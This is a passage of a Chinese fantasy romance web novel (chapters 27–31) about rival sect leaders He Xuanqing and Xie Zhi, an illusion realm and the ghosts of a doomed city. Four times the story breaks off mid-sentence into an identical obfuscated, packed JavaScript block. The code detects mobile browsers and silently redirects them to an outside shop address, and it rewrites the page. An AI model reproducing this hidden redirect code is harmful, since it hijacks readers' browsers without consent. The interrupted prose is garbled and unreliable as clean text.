幻境有一点没有演错,谢止的确从小就是个占有欲爆棚的大变态。 “我不会离开的,谢止。”贺玄青轻声笑了,“我们会在未来相逢的。” 她口中的未来就是出幻境后,毕竟登云路还没办完,她肯定要继续鞭策谢止,让他帮自己做事。 小谢止也不知听懂没有,他骤然安静下来,视线却依旧死死地盯着她。少年眸色锐利,野心勃勃毫不遮掩,像是将她带回了十几年前的那场风雪,又像是将她带回了更久之前,那个时候什么勾心算计都不曾有,雪地上只站着两个专心求道,正在相互比划的小小少年。 贺玄青向前奔跑着,很快摘星阁,苍坪山还有谢止都被她落在了身后。 豁口近在眼前,她纵身一跃,直接跳了进去。 “骗子。” …… “我不是故意骗你的,对不起。” 元丰有些绝望了。 不,他不想听。 元丰很想捂住耳朵,奈何自家阁主的声音偏要冷酷无情钻进他的耳朵里。 自家阁主英明神武,凛若秋霜,一直以来都是内修们的楷模,摘星阁的定心针,他怎可能、怎可能会这样说话来。 这一定不是发生过的事实对吧,这一定是风波宫的人在造谣对吧。 理智上虽然知道绝无可能,但情感上他却非常想偏向第二点。 “回神……回神!”元丰被不知从何处伸来的刀柄重重打了一下脑袋,登时清醒了过来。 他回过神,瞧见那幻灵距他只有咫尺之遥,有碎裂的石块落在他脚边,刚才正是被纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008416|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钧挡下了这一击。 “谢、谢谢。” “不用。你们阁主的事情先放一边。”看出了元丰理智摇摇欲坠,纯钧好歹发了此善心没有深入探讨这件事,“这东西怎么解决?” 幻灵没有实体,移动起来的速度却不慢,纯钧有好几次都险些被这灵体抓到,好在他有丰富的作战经验,好歹是从灵体手中逃脱了出来。 元丰观察着战局,谨慎道:“幻灵被激发了凶性,我们要与他拉开距离,我会尽量找到正确的旋律压制。” “行。”纯钧甩了个刀花,盯着幻灵。 悠扬旋律自骨笛中传出,那幻灵发出一声爆呵,身体变成了近乎于血的鲜红。 幻灵似乎变得更强了。他的身躯就如小山般庞大,只要稍微抬手便能引来一阵罡风,纯钧被这罡风死死压倒在原地动弹不得,幻灵的拳头则重重向着二人轰去。 元丰面色惨白:“可我吹的只是普通的静心曲啊!” 明明他都怕激怒幻灵,只选择了最基础的静心曲目,到底凭什么? 眼看幻灵的拳头步步接近,掀起的风浪将他的道袍鼓动得猎猎作响,元丰绝望地瞪大眼睛。 吾命休矣! 轰隆……! 眼前的一切在元丰眼中就像是慢放,他听见幻灵发出一声更大地嘶吼,他看见幻灵那即将落下的重重拳头。 他无法抵抗,他会被砸成肉泥的。很快,这处雪原就会沾染上属于血的猩红。 但预想中的灾厄并未发生。 眼前好像多了一个人。 漫天烟尘下,那人长身玉立,在庞大的幻灵面前显得单薄极了,仿佛道随时都能被掐灭的细弱火苗。 幻灵身躯庞大如山脉,拳头更是有土丘大小。与之相比,男人骨节分明的手小得宛如一粒尘埃,但这只手却坚定地按在了幻灵的拳头上。 于是幻灵的拳头便停下来了。 看上去十分简单轻易,但这幻灵元丰和纯钧早在打架的时候试过,没有实体,普通人根本无法接触。但男人却切实的抵住了他。他看着似乎毫不用力,那幻灵竟不能向前移动分毫。 元丰认出了男人身份,兴奋得瞪大眼睛:“阁……” 幻灵的咆哮震天撼地,它还想再补一拳,但男人却没有给他这个机会。 自他的掌心中,突兀冒出丝丝缕缕的黑色电光,诡谲又恐怖。在那电光下,幻灵犹如潮水般嘶吼褪去,瞬间回到了元丰的骨笛里。 他竟只用一掌便轰塌了这具幻灵! “阁主!阁主……”其中以元丰最为激动,但他劫后余生,脱力般跪倒在地上,根本动弹不得。 纯钧看着面前这个负手而立,目若寒星的男子,心中暗暗吃惊。 这便是摘星阁阁主,谢止。 能有此等修为,他当真不愧为天下内修第一人。 “参见阁主。”纯钧爬了起来,他还能动,此时勉强半跪在地,“多谢阁主仗义相救。” 谢阁主视线冷淡自他们二人面上扫过,淡淡道:“贺玄青在何处?” 周围一片死寂,竟无人回答。 谢止眉峰微微蹙起。 …… 远方有山风刮过,声音断断续续也伴着这阵风飘到了三人耳中。 “你说过要让我当你的小蛇的!我吃的……不是很多。” 元丰:…… 纯钧:…… 28. 第 28 章 阁主来了,主心骨就有了。 元丰恨不得跑到阁主身边诉说这几日受到的委屈。 但那些细细碎碎的闺中蜜语随风入耳,让元丰臊到恨不得躲起来。 谢止看着丝毫不受那些背景音的影响,他的视线落在在场二人身上,冰冷而又沉肃。谢阁主单是站在这里就足够气势逼人,让人本能地生出些敬畏之心来。 元丰根本不敢和他对视,求助般将目光转向了纯钧。 纯钧啊了一声,看着好像比他更茫然,他指了指自己的耳朵,又指了指地上被自己砸出的深坑,表示自己刚刚被打,暂时听不见了。 该死,他怎么没想到还有这种好主意。 元丰算是彻底了解了纯钧所说的遇贱人是什么含义。他的牙关打着颤,迎着自家阁主的目光硬着头皮走上前: “阁,阁主……” 谢止眉峰隆起,元丰知道,这是阁主耐心即将告罄的征兆。 元丰整理措辞,迅速地将自己这段时间的经历一五一十地说了,他察觉到自家阁主好像对此不甚在意,慌忙转换话题:“方才幻灵闹得雪崩了,贺宫主在那片山丘上,不知有没有受到影响。” 谢止眉峰皱得更紧:“浮屠境死者繁多,带上内修修士便是为了防备万一,可以超度这些邪灵。你连基础的净化都做不好,是怎么好意思出门的。” 原来贺玄青一路带着他是这个原因。 他还以为她是为了蹭他令牌入城才来的。 三言两语间元丰便被自家阁主便生生训成了雪里一只鹌鹑。他羞愧地低头,心底却不由得升起几分疑惑。 但阁主是怎么知道照月城发生的这些事的,自己明明还什么都还没来得及说啊。 元丰的疑惑还未升起就已被狠狠打断。谢止根本没放过他:“还愣着干什么?镇魂曲还要我帮你吹吗。” 背景音里的谢止柔情蜜意,甜得快要滴出水来,在他们面前端端站着的谢止却冷淡至极,如秋风扫落叶般无情,足以吓哭一般路过的孩童。 元丰此时都有些羡慕那位早夭的清禾公主了,他蔫蔫垂着脑袋,从怀中掏出一把骨笛,呜溜溜吹了起来。 谢止似是并不打算在这里久留,交代完元丰后,转身就要离去。 明明期盼着阁主来的人是元丰,此时盼望阁主赶紧离去都也是元丰。他身体紧绷着,生怕吹错音符被阁主狠狠训斥,但好在他虽然实践不好,但诸如净化之类属于内修修士的基本功,他还是扎实的。 元丰胆战心惊生怕自己露馅,阁主的脚步却忽然停了。 他青色的瞳眸微微眯起,看着胆敢拦在自己身前的人。 ——是纯钧。 纯钧脸上的表情比方才应对僵尸和幻灵时还要严肃百倍,未曾收起的刀被他重新举了起来,抵在了身前,那是个防备的姿态。 谢止冷淡地扫过此人:“滚。” “阁主肯出手相救,在下心中感激。”纯钧站在原处,纹丝不动,“朝廷与仙盟已结百年秦晋之好,还望阁主不要为了一己私欲毁坏盟约。” 这这这,这怎么就要打起来了。 电光火石间,元丰想明白了纯钧动手的原因—— 传言风波宫宫主对摘星阁阁主有杀妻之恨。风波宫宫主陷入浮屠境,此时摘星阁阁主却忽然出现……这若是他,他也是要拦的。 纯钧着急得额头直冒虚汗,他有些想劝架,可刚有停下的苗头却又被阁主扫来的眼神吓得继续。只有双眼还能能动,此时正滴溜溜直转,着急地观察着局势。 “您晓得,我们宫主从不在乎过往。” 只见纯钧脸上带笑, “奉劝您一句,无论是您的妻子,还是那位早死的清禾公主,阁主也最好忘了,否则大好修为却平生心魔,岂不可惜?” 这是个并不好笑的笑话。 至少元丰的曲目吓得断了半截,但他偷摸瞥着阁主的脸色,又悄悄续了下去。 谢阁主面无表情,眼瞳却竖成了近乎蛇瞳般的细线:“趁我没有改变主意,你还有机会活着。” “你很强,我打不过。”纯钧唇角微勾,笑不达眼底,“但没试过怎么知道。” 纯钧年轻,整个人如同将要出鞘的利刃,薄薄衣衫内包裹着朝气蓬勃地肌理。这种不知死活的天高地厚愚蠢行为,好像是什么会被人夸赞为少年意气的东西。 谢止从未蠢过。 “你若死了。”青色眼瞳从眼前人身上扫过,谢阁主问得漫不经心,“贺玄青会伤心吗?” …… 贺玄青对外界发生的这一切根本不知情,她宛如一片落叶,顺应路径一路掉进了洞底。 此时她头顶是森森煞气,脚下踩着的是浸润着污染的漆黑土地,周遭气氛压抑到了极点。 耳畔传来细细密密的窃窃私语,贺玄青试探着往前走了几步,但很快就被一道墙壁堵住。 她触碰到了那堵墙壁,黏腻的触感让贺玄青微微皱了皱眉,退得更远了些。 如果贺玄青能看见,就能够发现自己面前的并不是所谓墙壁,而是一道庞大而又扭曲的黑影,不止是这面墙壁。这些黑影无处不在,几乎将贺玄青整个人团团围住,私语声铺天盖地,且不断加剧着,将人吵得脑门嗡嗡作响。 倘若谢止在此或许能解读出那些呓语的含义,但在贺玄青耳中,这些不过是让她头疼的胡言乱语。 但听不懂也没有关系,她以指为笔,沾着黑水划了一道符箓,清了清嗓子问:“你们是谁?” 贺玄青耐心等了片刻,无事发生。 原来画错符了。 贺玄青面无表情擦去丑陋到惨绝人寰的符箓,重新补了一笔。 铮嗡—— 细微如残烛般的微光照亮了方寸之地。贺玄青看着面前包围着自己的磅礴黑影,神色不变:“亡者何人?” 声音随着那符箓而变得逐渐明晰,在贺玄青耳畔组成人能听懂的字符。 “吾——等乃天衍金羽卫。” “何故而亡?” 刚刚好不容易凝聚起来的声音重又散开,变得繁杂起来,这些人的死状似乎各有不同,贺玄青思索片刻,将手放在了其中最大的一面“墙”上。 刹那间,无数画面自脑海中闪回。是那人死前最后的景象,他们死时的执念宛若钢针,也伴随着回忆死死插进了贺玄青的识海之中。 皑皑白雪之中,将军死守城门,最终力竭而亡。 将士们与突然出现的雪魄搏斗,却力有不逮,只能眼睁睁看着伙伴在自己面前凄惨死去…… 他们死在照月城中,本来可以转世离开,却又被这城中阵法强行留下,强行将他们的怨气炼化,使他们不得入轮回。 憎恶,不甘,怨恨,嫉妒……昔日的守城将早在一日又一日的折磨中早就失了心智。他们平等地怨恨着,将矛头指向了强闯而入的贺玄青。 甲胄摩擦声响起,顷刻间深寒煞气仿佛带着重重血光直冲着贺玄青的面门而去。 橙芒自肺腑翻涌闪动着,贺玄青却抬手轻轻地按住了丹田,将它硬生生逼了回去。 “无妨。”贺玄青唇角微勾,嫣然笑道,“吾会送尔等归乡。” 她的话没有安抚到这些怨灵,反倒让他们更加暴躁起来。 ——你有何能力? 区区一个没有修为的凡人,也配说这种大话! 骗子。 骗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038680|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子! 杀了这个骗子! 怨灵狂啸着,铺天盖地冲着贺玄青袭来,打算将她彻底搅碎在这里。 贺玄青像是毫无所觉,她微微抬手,露出了别在腰间的剑。 这把剑自她自废修为后就再也没出过鞘,此时却有了用武之地。 她深吸一口气,拔剑出鞘,这一回却不是为了杀人,这把剑正伴随着她的脚步移动着,在空中划出道道漂亮的剑光。 贺玄青擅长剑术,但拿剑跳祝舞却是大姑娘上轿头一回。 祝舞为那些内修修士用来驱散、超度、祭祀时所跳之舞,一般来讲,舞者在舞蹈时会使用与自身最为相合的法器。 贺大宫主曾经看过某人跳祝舞,倒是留有些许印象。想要复刻一遍动作对她而言不算困难。至于法器——对于剑修而言,除了剑,怎么可能还有旁的更能符合剑修心意的法器? 理论上可以实行,于是贺大宫主触类旁通,临时想到了这一招。 倘若行不通的话,就只能灰溜溜让橙芒带着自己杀出去了。 贺玄青如是想。 好在成果喜人,贺玄青观察着周围隐隐有缓解趋势的煞气,心下微微松了一口气。 幸好啊,她在地底,没人能瞧见。 拿着剑不伦不类跳祝舞,贺玄青能想象到自己在旁人眼中会是何等愚蠢的模样。 事实上,这画面美极了,女人身段婀娜,宛若春日垂柳,她举手投足间带着独特的韵律,庄重犹如九天玄女降世。在这片深不见底的漆黑之中,女人这天地间唯一的亮色。 不知从天地何处响起了阵清心悠扬的曲调,与她的舞步相得益彰。 悼念亡人,送战士归乡。 周围的呓语随着她的剑舞逐渐消散,剑舞固然起到了宁神镇魂的效果,但贺玄青破坏的阵法才是帮助这些人摆脱折磨的关键。贺玄青越转越快,最后剑尖停在原地,归入剑鞘之中。 她的面前跪着一个人。 那是一个浑身是伤的女人,她的盔甲锈迹斑斑,猎猎披风濡满鲜血,正是那位力竭战死的将军。 “吾乃金羽卫右都统领。” 贺玄青问:“你可有冤屈?” 女人嘴唇干涸,她是最早死去的,也是被阵法折磨得最久的怨灵,但贺玄青问她是否有冤屈,她却是摇了摇头。 将军许国而死,死得其所。 雪祸没有蔓延酿成大祸,这是天大的幸事。 风波宫救援及时,来得居然是贺宫主本人,足以看出朝廷对此事的重视。 对这位将军而言一切都很好,没有比这更好的事了。 她单膝下跪,看向贺玄青的视线中闪着憧憬:“我曾在战场上远远瞧见过您的身影,我一直,一直都非常仰慕宫主。” “只是我资质太差,努力多年也只是勉强筑基,入不了风波宫,也没能进皇城卫队,最后只成为了座小城的守卫将士,到了后来,明明知道此为雪魄,却还是差了一点,没能坚持等到救援。” 贺玄青低声道:“你已经做得很好了。” 得了贺玄青的夸赞,女人便笑了。 将军笑得很腼腆,她初见贺玄青时不过才总角之年,如今贺玄青与当年相比容貌无甚变化,她的眼角却生出了细细皱纹,但她却并不惆怅。 贺玄青容颜不改,象征天衍繁盛,还可延续千百年,将军是真的没什么遗憾留在世间。 没有幻境支撑,将军身影逐渐消散,最后化为满天烟尘。 “那个人,很强。” “您与那人不和,我重启浮屠境帮您拖延了片刻,只不过,怕是不会太久……” “请您万分小心。” …… 29. 第 29 章 贺玄青的心情自看到那些被埋藏在地底的将士后便差到了极点,但等她走出洞口,看清洞外景象后,她觉得自己的心情还能更差一点。 纯钧与元丰站在一起,纯钧似乎是受了极重的伤,此时正被元丰搀扶着勉强站着,但他们此时脚下踩着的并不是什么雪原。 他们正身处于一处厢房之中,陈设简单,看上去不过是极普通的地方。 纯钧瞧见了贺玄青,眼眸微亮:“宫主!” 他上下扫着贺玄青,待发现她身上没有什么伤痕后微微松了一口气,只不过声音压得极低:“宫主,这是什么地方?” 贺玄青摇了摇头,解释了原因:“浮屠境易主,境主已经不是我了。” 门口隐隐传来人声,三人连忙躲到了帷幔后。 很快房门发出吱嘎一声,有一女子推门而入,她并未发现房中的异常,在短暂整理后便背坐在了屋中的床榻上。 长长地乌发遮掩住了她的面容,元丰想看清楚又害怕被人察觉,他扑腾了半晌,又极快得捂了嘴巴。 又有人来了。 有一男子推开房门,径直走入了屋内。 这男子的面容未曾遮掩,元丰看出来了,小声惊叫一声:“阁主。” 只见自家向来不近女色的阁主坐在了那女子身旁,两人凑得极近,也不知谢止说了什么,女子便咯咯咯笑了起来,靠在了谢止肩头。 二人近到了耳鬓厮磨的程度。 围观的三人面面相觑,他们走也不是留也不是,元丰小声道:“这是怎么回事?” 贺玄青一言不发,纯钧咳了咳:“应该是浮屠境易主,换成了你们家阁主,你们摘星阁的事自己不清楚吗?别问了。” 元丰很快便想明到了。 彼时谢止封印记忆历劫,却在历劫途中看上了一位普通女子,还在历练结束后将那民间女子带入摘星阁,硬要与之结为道侣。这一消息在众人眼中已经足够震撼。但更震撼的是,这位民间女子却在不久后被风波宫宫主劫掠,强行镇进了风雪涧的缝隙之中。 风波宫与摘星阁的决裂也是在那个时候。摘星阁阁主谢止与风波宫宫主贺玄青二人隔着夺妻杀妻之恨,关系自那之后就再没有好过。 杀妻之恨可不是一般情况下能做得出来的,两位大佬之间到底发生过什么,元丰实在是很想知道,他忍不住悄悄看向贺玄青,但贺玄青看着面前的景象,表情却没有丝毫变化,她甚至看得津津有味,就像是在看一个与自己无关的饶有趣味的故事。 只见那女子嫣然一笑,软声道:“谢郎,阿兰心、心悦谢止。” 她咯咯笑着,但翻来覆去,像是只会说这一句话。 “阿兰心悦谢止。” “阿兰心悦谢郎……” 幻境骤然卡了壳。 有光芒自昏暗的房间里闪过,雕花木床被斩成了两段。 星离雨散,月坠花折。 浮屠境彻底破了,铺天盖地的流星犹如雨幕般四散开来。指尖勾着的项链明明灭灭。 隔着满天流星,贺玄青瞥见了双璀璨如翠玉般的眼睛。 “谢止。” …… 翠色的眼瞳与照月城的璀璨星空相比也毫不逊色。 而这双眼的主人,此时却处于盛怒之中。 在幻境经历了三年光阴,看惯了小谢止的模样,再面对此时的谢阁主,贺玄青有种恍若隔世的陌生感。 浮屠境可以照出境主最痛苦的回忆,贺玄青是真没想过,谢止最为恐慌的景象居然是那个时候。 明明都过去了那么久。 贺玄青看着面前的处于盛怒中的男子,唇角却微微勾了起来。 上一次与谢止比斗,已经是在很久之前了,在幻境里经历过那些对垒印入心间,此时的贺玄青委实有些心痒。 此时眼看谢止气势汹汹冲着自己而来,贺玄青心下微痒,挺剑,打算迎击。 贺玄青挺剑而出,却看那谢止气势汹汹,竟是穿过她的身侧,直奔重伤的纯钧而去。 疯了吗? 贺玄青难以置信。 他们之间的恩怨迁怒到小辈身上算什么道理,谢止简直越活越回去了。 动作快于思维,橙芒同时自她眼中涌出,落到纯钧身侧呈援护姿态,她则横剑直刺谢止眉心:“你的对手是我。” 贺玄青的剑没有刺中,剑尖划在地上发出刺耳声响。但贺玄青很快便调整好了姿势,手腕翻转间新的剑招又冲谢止而去。 她虽然灵力上有所欠缺,但在剑术上的造诣却上没有改变。贺玄青有意逼谢止动手,招招凌厉狠绝,根本不给对手喘息的时机。 谢止果然没能再上前,他的视线落在贺玄青的身上,手腕翻转间已有无数藤蔓落至身前又被贺玄青一一斩断。 “你护着他。”谢止低声道,但他说的话古怪至极,贺玄青根本听不懂,“你现在,是要为了他打我吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049888|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 什么东西? 贺玄青皱眉。 比起谢止千里之外赶来追杀在风波宫名不见经传的小卒纯钧,明显是追杀自己更加有说服力一些,但谢止此时诉说的含义好像他的目标根本不是自己,贺玄青有些听不懂了。 面对自己听不懂的东西,贺玄青沉默片刻,果断略过了话题。 “来战。” …… 浮雪成灾,却被郡守以一己之力隐瞒下来,驻守当地的三司都府隐约有所察觉,但他们害怕担责,压着消息不肯上报。 到了最后,实在压不下去,等到贺玄青最终知晓之时,照月城已成了座空坟。 那些不知名的将士到死都不明白他们的死亡成为了养料,他们血战到死,临死都在等待着一场注定不会有人来的救援。 这么多年来风雪涧全靠着贺玄青一人镇着,天衍和平太久,他们根本不知晓浮雪祸的可怕之处。 极偶尔的时候,贺玄青会觉得是自己错了。 她想让灾祸止于风雪涧,天衍却因她的选择而变得更加糟糕。 【这并非是因你的选择。】 若书浮动在她身侧,书页翻动着,童真的语调居然透着几分残忍:【因为这个世界只是一本书,主角需要获得金手指,所以那些将士注定会死去。】 【你不是最清楚吗?我可怜的笼中娇雀。】 啪,贺玄青猛得合上了书页。 这本书绝对是坏掉了吧? 若书并没有因为她的粗暴行为而停下诉说,它漂浮在空中,书籍伴随着话语一开一合【你应该要给他道歉的,毕竟是你先迁怒对他动的手。】 “他重伤了纯钧。”贺玄青捏了捏眉心,“他侮辱了风波宫的颜面。” 【一只比较有战斗力的流浪猫,打了自家养的布偶,固然布偶的挑衅有错,但你却狠狠惩罚了。】 若书猫猫就想在你面前表现 贺玄青有些疑惑:“可你不是称呼他为小蛇吗?” 【……这不重要,重要的是你得明白,恩威并施,这才是平衡后宫的办法。】 什么乱七八糟的东西。 贺玄青头有点疼:“纯钧是我的下属,谢止是我的对头。他打了我的人,我凭什么要道歉?” 【小鸟,你是在生他的气吗?你是因为看见了他的回忆而生气吗?】 【真正的利益之争不是这样,你们现在就像是在闹变扭的情侣。】 30. 第 30 章 在贺玄青的印象里,养一条蛇需要付出的东西是很便宜的。 清虚子当年买下谢止就只花费了三袋粟米,少年谢止曾亲口承认过自己好养且吃的不多。 所以哪怕意识到这条蛇的尺寸可能与她记忆中的那条有着些许偏差。贺玄青依旧在犹豫间接受了它。 她身为风波宫宫主,拥有很多普通人终其一生都无法拥有的东西,权势,地位,财富……她能给出的条件非常丰厚,足以让无数人前仆后继,为她鞍前马后。 可谢止想要的并不是那些东西。 谢止是个贪婪的家伙。 他会趁人之危,坐地起价。 檀香味笼罩着她全身,清浅的香气就如同这味道的主人般无处不在且无孔不入。那条蛇正不知节制地缠绕着她,蛇信子从脖颈,胸前,小腹,大腿,脚踝,甚至是脚趾尖划过—— 他就连她的发丝都没有放过。 实在是太危险了,谢止的瞳眸已经彻底异化,竖瞳专注凝视着她的时候就像是真正的野兽,让她有种随时会被这条蛇吞吃入腹的错觉。 他将她的手放到了自己的脸侧,赤色红晕自他的脸颊晕开,给他原本就精致绝伦的脸庞增添了一抹艳色。贺玄青触碰到了他脸侧不知何时冒出来的鳞片。在她印象中,蛇类的身躯应当是冰冷的,但谢止的身体此时却烫得吓人。 “青禾……玄青……”谢止侧过头,唇擦吻过她的掌心,“师妹。” 他纤长的睫毛自他的掌心扫过,细细麻麻的酥痒让贺玄青的指尖忍不住痉挛起来。 羞耻感涌上心头,贺玄青觉得自己的脸绝对红透了,但谢止却依旧没有放过她的意思,硬生生将她逼到了爆发边缘。贺玄青听到自己发出了一声极微弱的、像是猫一般的呜咽:“错,错了。” 谢止绝对是错了。 贺玄青虽因修行的功法受限没有亲自尝试,但她见识过那些场面。她看见过那些人追寻欢愉时的表情,那些裸露着的白花花恶心肉块与美感毫无联系,他们狂热地追寻着□□欢愉,他们用尽手段,紧紧相连,但他们的上半身却从不会靠近彼此。 贺玄青用力推着谢止的脸,试图让他远离自己。 但她抬起手,绵软无力地指尖在接触到谢止的刹那呗逼得骤然转为揪住他的衣领。 指尖收紧又松开。贺玄青浑身脱力,早失了开始的力气。 贺玄青尝试将自己蜷缩起来,可她失败了,谢止的身体沉重得吓人,她根本掀不开。 难以言喻的感受涌遍她的全身,强烈而又尖锐的,这种感受和疼痛截然不同,对贺玄青而言,这却比纯粹的疼痛更让她难熬。而这份煎熬在谢止的目光下转为了难堪。 谢止肯定是耍了什么阴招逼自己出丑,贺玄青乱七八糟地想着,或许某种阵法亦或是咒术能做到这种程度,而自己并不知情。 行至此时,根本不用思索贺玄青便意识到自己做下了一个多么错误的决定。 ——在实行计划之前,应该先恢复修为再说的。 疼痛传来的刹那,贺玄青愤愤咬住了谢止的肩头。 可恶的谢止,该死的东西。 她绝对绝对要干掉他! …… “我们真的就要这样离开吗?”元丰忧心忡忡对纯钧道,“那边气氛不对,肯定会打起来吧。” 纯钧皱了皱眉:“宫主自有定夺。” 元丰并没有因这句话放松:“听闻前段日子你们宫主破关失败,修为倒退回从前。我们阁主既与你们宫主有旧怨,你就不怕阁主泄愤杀了宫主?” 纯钧终于忍受不住,狠狠翻了个白眼:“一点眼色都没有,你是怎么活到现在的。” 元丰反唇相讥:“你们风波宫难道是什么龙潭虎穴吗?不然为什么老把死不死活不活挂在嘴边?” 其实用“龙潭虎穴”来形容风波宫还算不上夸词。毕竟风波宫素来以严苛酷刑闻名于天衍,在很多人眼中,风波宫里的人早就丧失了基本人性,已经算不上人了。 “没有法度不成方圆,风波宫信奉法家思想,认为只有以重刑才能遏制犯罪滋生。”纯钧道,“只要奉公行事,不触犯律法,就不会在风波宫受到伤害。” 元丰喃喃:“又不是圣人,谁能做到事事公平……” 话说得轻巧,但人性本就卑劣,怎么可能会有不徇私的时候,天衍官员数以千计,哪个进了风波宫不得先掉一层皮。 纯钧不置可否:“自然是有的,就比如我们宫主,她在位那么多年,可从未被人拿捏过把柄。” 风波宫宫主的名号在天衍算不上多好,但元丰顺着纯钧的话头想了半天,人们说她残暴,说她冷酷,说她独揽大权居心妥测,但有关于贺玄青徇私枉法的事情,却是一件没有。 贺玄青就像是铁板一块,任凭外面那些人如何使手段,都无法撼动她分毫。 “宫主足够公正,足够强大,所以风波宫才能四季常青,在天衍屹立不倒。”纯钧道,“倘若宫主死亡,风波宫易主,大权旁落到了那些小人手上,成为罗织罪名,党同伐异的工具,届时,天衍会变成什么模样?” 单是想想便足以让元丰倒吸一口冷气。 “摘星阁与风波宫对立多年,却始终保持着微妙地平衡,很显然是两位大佬的考量。” 纯钧道:“所以大佬们自有安排,我们这些小啰啰操心什么。” 好像的确是这个道理。 看元丰懵懵懂懂点头,纯钧笑了:“反倒是摘星阁,你们阁主肯亲自来,让我有些惊讶。” 要知道仙盟这些老牌宗门大多主张道法自然,顺应万物,不应当干预凡间。实际上,这些修士见识到了更广阔的世界,很难再将这些没有修为的平民看做与自己相同的人,对他们受灾自然也不会升起多少怜悯。 但谢止却是不同,他明明为摘星阁阁主,却接手了操办登云路的事宜,甚至不惜千里赶来照月城,简直狠狠驳斥了仙盟的面子,打了那些成天叫嚷着仙凡有别老家伙们的脸。 “阁主只是面上冷酷,做起事来其实周全又温柔。”元丰道,“而且这种观念在仙盟内部也有分歧,不是所有人都认为修者理应不理凡尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064442|134620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的师兄师姐就经常出门历练,用自己的方式帮助周围的人。” “你怎么想的?” “自然是后者。”元丰几乎是毫不犹豫,“身为修士,我比其他人厉害,我就应当承担更多责任……你呢,你为何要去风波宫?” 纯钧:“我……” “救、救命。” 想要往前迈步的步伐被拽住,纯钧垂下眼眸,看到了正趴在自己脚边,掩面哭泣的中年人。 那位郡守居然还没死。 他的胸腔彻底凹陷下去,浮雪莲自那处凹陷处生长着,或许是因为贺玄青提前超度了那些怨灵的缘故,郡守勉强算是捡回了一命。 但这也仅仅只是勉强捡回一条命的程度,郡守浑身干瘪如同枯骨,此时那双枯瘦的手臂正死死抓着纯钧的手臂,郡守匍匐在地上,比起像人,更像是阿鼻地狱里那些拦路的恶鬼。 纯钧弯下腰:“给你玉佩的那位高人是谁?” 郡守形容狼狈,近乎绝望的眼瞳在看到纯钧时陡然充满了希冀,“你救救我,我告诉你。” 元丰看向纯钧,在等他拿定主意。 “他不知道。”纯钧观察者他的表情,冷酷做下了判断,而后毫不犹豫,抛下郡守转身就要离开。 郡守的脸色彻底变白,他冲着纯钧歇斯底里地喊叫着:“谋害朝廷命官是死罪,你以为你是风波宫的人就能脱罪吗?” “我什么时候谋杀过朝廷命官?”纯钧疑惑反问。 “你!” “我不上报。”纯钧笑了,“谁又能证明你活着?” 郡守一噎,求助般看向元丰。 郡守识人的本领不错,他知晓元丰为人正直,定会为自己出头。 可元丰没有。 他垂着脑袋,声音因愧疚而变得细若蚊吟,可他却并没有半点想要帮助郡守的意思:“镇上超度亡灵的安魂曲,是我吹的。” 那些厚重的怨气煞气浓郁到甚至能够影响幻灵,倘若郡守不选择瞒报,这些无辜之人根本就不会死去。 凡事都有代价。郡守因为一己之私害了那么多民众,元丰做不到帮助这种人逃脱生天。 他们最后还是离开了,临走前,纯钧算好了郡守的死期,将他锁在了郡守府的地窖里,正对着那具被郡守挖去胸膛的女尸。 郡守会永恒待在这座空城中,享受着成为怪物后最后那一点苟延残喘的时光。 “你刚刚问我的道是什么。”纯钧看着元丰,“其实我不在乎风波宫那群家伙在想什么。” “那些思想是有能力的人才会考虑的东西,我的目光很短浅,只在乎修行。” “听闻风波宫都宫主足够强,所以我就去了风波宫。”纯钧忽然笑了,“自从宫主破关失败后,朝廷就一直在旁敲侧击打算给宫主送去新的功法,就连那贱人都在悉心准备着……我呢,就打算开一盘赌局,你赌不赌。” “赌什么?” “赌宫主会选择哪一条路。”纯钧道。 赌贺玄青还要多久才能重新成为当年那座巍峨不可攀的高峰。 31. 第 31 章 小雨滴滴答答,最后转为瓢泼大雨,雨水打在芭蕉叶发出噼啪脆响,在水面上蒸腾出薄薄雾气。 京城,一处偏僻别院中。 绪冥自床榻中骤然坐起,他捂住胸膛,用力喘息着:“什么?” 